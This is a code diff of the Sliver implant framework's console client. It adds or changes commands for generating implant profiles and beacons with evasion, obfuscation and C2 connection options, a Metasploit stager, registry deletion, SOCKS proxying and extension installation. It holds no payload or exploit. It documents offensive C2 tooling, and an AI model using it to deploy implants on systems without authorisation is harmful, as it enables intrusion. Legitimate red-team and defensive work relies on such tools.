@@ -1073,7 +1277,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StagerStr,
|
||||
Help: "Generate a implant stager using MSF",
|
||||
Help: "Generate a stager using Metasploit (requires local Metasploit installation)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.StagerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
@@ -1084,6 +1288,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("f", "format", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
|
||||
f.String("b", "badchars", "", "bytes to exclude from stage shellcode")
|
||||
f.String("s", "save", "", "directory to save the generated stager to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1095,9 +1300,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
generateCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CompilerStr,
|
||||
Name: consts.CompilerInfoStr,
|
||||
Help: "Get information about the server's compiler",
|
||||
LongHelp: help.GetHelpFor([]string{consts.CompilerStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.CompilerInfoStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -1152,11 +1357,16 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Generate implant from a profile",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.GenerateStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("p", "name", "", "profile name")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ProfileNameCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesGenerateCmd(ctx, con)
|
||||
@@ -1165,32 +1375,35 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
profilesCmd.AddCommand(&grumble.Command{
|
||||
profilesNewCmd := &grumble.Command{
|
||||
Name: consts.NewStr,
|
||||
Help: "Save a new implant profile",
|
||||
Help: "Create a new implant profile (interactive session)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("s", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("m", "mtls", "", "mtls domain(s)")
|
||||
f.String("g", "wg", "", "wg domain(s)")
|
||||
f.String("H", "http", "", "http[s] domain(s)")
|
||||
f.String("n", "dns", "", "dns domain(s)")
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "attempt to poll every n second(s)")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
@@ -1200,11 +1413,11 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.String("R", "profile-name", "", "profile name")
|
||||
f.String("N", "name", "", "agent name")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesNewCmd(ctx, con)
|
||||
@@ -1212,7 +1425,67 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
}
|
||||
profilesCmd.AddCommand(profilesNewCmd)
|
||||
|
||||
// New Beacon Profile Command
|
||||
profilesNewCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.BeaconStr,
|
||||
Help: "Create a new implant profile (beacon)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ProfilesStr, consts.NewStr, consts.BeaconStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int64("D", "days", 0, "beacon interval days")
|
||||
f.Int64("H", "hours", 0, "beacon interval hours")
|
||||
f.Int64("M", "minutes", 0, "beacon interval minutes")
|
||||
f.Int64("S", "seconds", 60, "beacon interval seconds")
|
||||
f.Int64("J", "jitter", 30, "beacon interval jitter in seconds")
|
||||
|
||||
// Generate flags
|
||||
f.String("o", "os", "windows", "operating system")
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
f.String("m", "mtls", "", "mtls connection strings")
|
||||
f.String("g", "wg", "", "wg connection strings")
|
||||
f.String("b", "http", "", "http(s) connection strings")
|
||||
f.String("n", "dns", "", "dns connection strings")
|
||||
f.String("p", "named-pipe", "", "named-pipe connection strings")
|
||||
f.String("i", "tcp-pivot", "", "tcp-pivot connection strings")
|
||||
|
||||
f.Int("X", "key-exchange", generate.DefaultWGKeyExPort, "wg key-exchange port")
|
||||
f.Int("T", "tcp-comms", generate.DefaultWGNPort, "wg c2 comms port")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
|
||||
f.String("w", "limit-datetime", "", "limit execution to before datetime")
|
||||
f.Bool("x", "limit-domainjoined", false, "limit execution to domain joined machines")
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
generate.ProfilesNewBeaconCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
profilesCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove a profile",
|
||||
@@ -1221,7 +1494,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("profile-name", "name of the profile")
|
||||
a.String("name", "name of the profile", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ProfileNameCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1238,6 +1514,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "List implant builds",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ImplantBuildsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("o", "os", "", "filter builds by operating system")
|
||||
f.String("a", "arch", "", "filter builds by cpu architecture")
|
||||
f.String("f", "format", "", "filter builds by artifact format")
|
||||
f.Bool("s", "only-sessions", false, "filter interactive sessions")
|
||||
f.Bool("b", "only-beacons", false, "filter beacons")
|
||||
f.Bool("d", "no-debug", false, "filter builds by debug flag")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -1256,7 +1539,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("implant-name", "implant name")
|
||||
a.String("name", "implant name", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return generate.ImplantBuildNameCompleter(prefix, args, generate.ImplantBuildFilter{}, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1861,24 +2147,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
})
|
||||
con.App.AddCommand(beaconsCmd)
|
||||
|
||||
// [ Macros ] ---------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadMacroStr,
|
||||
Help: "Load a sliver macro",
|
||||
LongHelp: help.GetHelpFor([]string{consts.LoadMacroStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
macros.LoadMacroCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the macro directory")
|
||||
},
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
})
|
||||
|
||||
// [ Environment ] ---------------------------------------------
|
||||
|
||||
envCmd := &grumble.Command{
|
||||
@@ -2026,6 +2294,25 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("o", "hostname", "", "remote host to write values to")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryDeleteKeyStr,
|
||||
Help: "Remove a registry key",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RegistryDeleteKeyStr}),
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("registry-path", "registry path")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
registry.RegDeleteKeyCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("H", "hive", "HKCU", "registry hive")
|
||||
f.String("o", "hostname", "", "remote host to remove value from")
|
||||
},
|
||||
})
|
||||
registryCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RegistryListSubStr,
|
||||
Help: "List the sub keys under a registry key",
|
||||
@@ -2159,6 +2446,24 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: "graph",
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, "graph"}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsGraphCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
// [ WireGuard ] --------------------------------------------------------------
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
@@ -2344,8 +2649,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: "add",
|
||||
Help: "Create a new Socks5 Proxy",
|
||||
Name: consts.StartStr,
|
||||
Help: "Start an in-band SOCKS5 proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
|
||||
@@ -2354,15 +2659,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksAddCmd(ctx, con)
|
||||
socks.SocksStartCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: "rm",
|
||||
Help: "Remove a Socks5 Proxy",
|
||||
Name: consts.StopStr,
|
||||
Help: "Stop a SOCKS5 proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
|
||||
@@ -2370,7 +2675,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksRmCmd(ctx, con)
|
||||
socks.SocksStopCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -2701,7 +3006,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
// [ Get Privs ] -----------------------------------------------------------------
|
||||
getprivsCmd := &grumble.Command{
|
||||
Name: consts.GetPrivsStr,
|
||||
Help: "Get current privileges (Windows)",
|
||||
Help: "Get current privileges (Windows only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2718,13 +3023,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Extensions ] -----------------------------------------------------------------
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: consts.ExtensionStr,
|
||||
Help: "Manage sliver extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
|
||||
Name: consts.ExtensionsStr,
|
||||
Help: "Manage extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ListCmd(ctx, con)
|
||||
extensions.ExtensionsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -2732,25 +3037,82 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ListStr,
|
||||
Help: "List extensions loaded in the current session or beacon",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Register a new extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
|
||||
Help: "Temporarily load an extension from a local directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.LoadCmd(ctx, con)
|
||||
extensions.ExtensionLoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install an extension from a local directory or .tar.gz file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the extension .tar.gz or directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove an installed extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsRemoveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "the command name of the extension to remove")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(extensionCmd)
|
||||
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.PreludeOperatorStr,
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Completers
|
||||
===========
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
@@ -0,0 +1,63 @@
|
||||
package completers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -1,46 +1,51 @@
|
||||
Extensions
|
||||
====
|
||||
===========
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
|
||||
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
|
||||
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
|
||||
be ignored.
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── manifest.json
|
||||
├── extension.json
|
||||
└── windows
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
│ └── extension.x86.dll
|
||||
│ └── extension.x64.dll
|
||||
└── linux
|
||||
│ └── extension.x86.so
|
||||
│ └── extension.x64.so
|
||||
└── darwin
|
||||
└── extension.x86.dylib
|
||||
└── extension.x64.dylib
|
||||
```
|
||||
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "ac1d-burn",
|
||||
"original_author": "zer0-cool",
|
||||
"repo_url": "https://github.com/foo/bar",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"dependsOn": "bar",
|
||||
"depends_on": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
"arch": "amd64",
|
||||
"path": "extension.x64.o",
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
@@ -51,7 +56,7 @@ The structure is the following one:
|
||||
- `files`: a list of object pointing to the extensions files to load for each architectures and operating systems
|
||||
- `init`: the initialization function name (if relevant, can be omitted)
|
||||
- `arguments`: an optional list of objects (for DLLs), but mandatory for BOFs
|
||||
- `dependsOn`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
- `depends_on`: the name of an extension required by the current extension (won't load if the dependency is not loaded)
|
||||
|
||||
The `type` of an argument can be one of the following:
|
||||
|
||||
|
||||
@@ -0,0 +1,125 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if 0 < len(getInstalledManifests()) {
|
||||
PrintExtensions(con)
|
||||
} else {
|
||||
con.PrintInfof("No extensions installed, use the 'armory' command to automatically install some\n")
|
||||
}
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
"Extension Author",
|
||||
"Original Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &ExtensionManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
results = append(results, manifest.CommandName)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
sample2 = `{
|
||||
